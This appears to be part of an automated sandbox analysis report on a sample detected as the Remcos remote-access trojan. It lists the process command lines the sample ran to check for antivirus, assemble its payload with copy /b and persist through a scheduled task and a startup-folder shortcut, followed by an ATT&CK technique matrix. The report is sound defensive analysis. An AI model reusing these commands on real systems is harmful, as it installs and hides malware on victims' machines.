Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c md 677826
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr /V "MechanicalDlModularRuSchedulingVisibilityProposalsClimb" Hearings
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Charged + ..\Syndicate + ..\Controversy + ..\Fig + ..\Phentermine + ..\Peripheral + ..\Lets + ..\Usgs + ..\Viewed + ..\Dealer + ..\Matter N
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\677826\Prostores.com Prostores.com N
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\schtasks.exe schtasks.exe /create /tn "Troubleshooting" /tr "wscript //B 'C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.js'" /sc minute /mo 5 /F
Source: C:\Windows\System32\wscript.exeProcess created: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scr "C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scr" "C:\Users\user\AppData\Local\MediaFusion Technologies Inc\s"
Source: C:\Windows\System32\wscript.exeProcess created: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scr "C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scr" "C:\Users\user\AppData\Local\MediaFusion Technologies Inc\s"
Source: C:\Users\user\AppData\Local\Temp\677826\Prostores.comProcess created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [internetshortcut] > "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\cineblend.url" & echo url="c:\users\user\appdata\local\mediafusion technologies inc\cineblend.js" >> "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\cineblend.url" & exit
Source: C:\Users\user\AppData\Local\Temp\677826\Prostores.comProcess created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [internetshortcut] > "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\cineblend.url" & echo url="c:\users\user\appdata\local\mediafusion technologies inc\cineblend.js" >> "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\cineblend.url" & exit
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00B914AE GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,36_2_00B914AE
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00B91FB0 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,36_2_00B91FB0
Source: Prostores.com, 0000001C.00000003.2038016379.0000000004045000.00000004.00000800.00020000.00000000.sdmp, Prostores.com, 0000001C.00000000.2031312040.0000000000333000.00000002.00000001.01000000.0000000F.sdmp, CineBlend.scr, 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpBinary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: CineBlend.scrBinary or memory string: Shell_TrayWnd
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00B50A08 cpuid 36_2_00B50A08
Source: C:\Windows\SysWOW64\mshta.exeQueries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeQueries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeQueries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeQueries volume information: C:\Windows\Fonts\times.ttf VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exeQueries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00B8E5F4 GetLocalTime,36_2_00B8E5F4
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00B8E652 GetUserNameW,36_2_00B8E652
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00B6BCD2 _free,_free,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free,36_2_00B6BCD2
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeCode function: 15_2_00406831 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,15_2_00406831
Source: C:\Users\user\AppData\Local\Temp\677826\Prostores.comKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid
Source: CineBlend.scrBinary or memory string: WIN_81
Source: CineBlend.scrBinary or memory string: WIN_XP
Source: CineBlend.scr.28.drBinary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYRegDeleteKeyExWadvapi32.dll+.-.\\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs](*UCP)\XISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGGETCOUNTSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXPANDmsctls_statusbar321tooltips_class32%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----@GUI_DRAGID@GUI_DROPID@GUI_DRAGFILEError text not found (please report)Q\EDEFINEUTF16)UTF)UCP)NO_AUTO_POSSESS)NO_START_OPT)LIMIT_MATCH=LIMIT_RECURSION=CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressionargument not compiled in 16 bit modeinternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory
Source: CineBlend.scrBinary or memory string: WIN_XPe
Source: CineBlend.scrBinary or memory string: WIN_VISTA
Source: CineBlend.scrBinary or memory string: WIN_7
Source: CineBlend.scrBinary or memory string: WIN_8

Remote Access Functionality

barindex
Detected Remcos RAT
Source: C:\Users\user\AppData\Local\Temp\677826\Prostores.comMutex created: \Sessions\1\BaseNamedObjects\Rmc-LOARC0
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00BB2263 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,36_2_00BB2263
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00BB1C61 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,36_2_00BB1C61
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 38_2_00652263 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,38_2_00652263
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 38_2_00651C61 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,38_2_00651C61

Mitre Att&ck Matrix

ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity Information111
Scripting		2
Valid Accounts		1
Windows Management Instrumentation		111
Scripting		1
Exploitation for Privilege Escalation		1
Disable or Modify Tools		121
Input Capture		2
System Time Discovery		Remote Services1
Archive Collected Data		1
Ingress Tool Transfer		Exfiltration Over Other Network Medium1
System Shutdown/Reboot
CredentialsDomainsDefault Accounts1
Native API		1
DLL Side-Loading		1
DLL Side-Loading		1
Deobfuscate/Decode Files or Information		LSASS Memory1
Account Discovery		Remote Desktop Protocol1
Email Collection		1
Encrypted Channel		Exfiltration Over BluetoothNetwork Denial of Service
Email AddressesDNS ServerDomain Accounts1
Command and Scripting Interpreter		2
Valid Accounts		2
Valid Accounts		2
Obfuscated Files or Information		Security Account Manager3
File and Directory Discovery		SMB/Windows Admin Shares121
Input Capture		1
Remote Access Software		Automated ExfiltrationData Encrypted for Impact
Employee NamesVirtual Private ServerLocal Accounts1
Scheduled Task/Job		1
Scheduled Task/Job		21
Access Token Manipulation		1
DLL Side-Loading		NTDS28
System Information Discovery		Distributed Component Object Model3
Clipboard Data		Protocol ImpersonationTraffic DuplicationData Destruction
Gather Victim Network InformationServerCloud Accounts2
PowerShell		2
Registry Run Keys / Startup Folder		12
Process Injection		111
Masquerading		LSA Secrets121
Security Software Discovery		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC Scripts1
Scheduled Task/Job		2
Valid Accounts		Cached Domain Credentials121
Virtualization/Sandbox Evasion		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup Items2
Registry Run Keys / Startup Folder		121
Virtualization/Sandbox Evasion		DCSync4
Process Discovery		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job21
Access Token Manipulation		Proc Filesystem11
Application Window Discovery		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt12
Process Injection		/etc/passwd and /etc/shadow1
System Owner/User Discovery		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement

Behavior Graph

Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
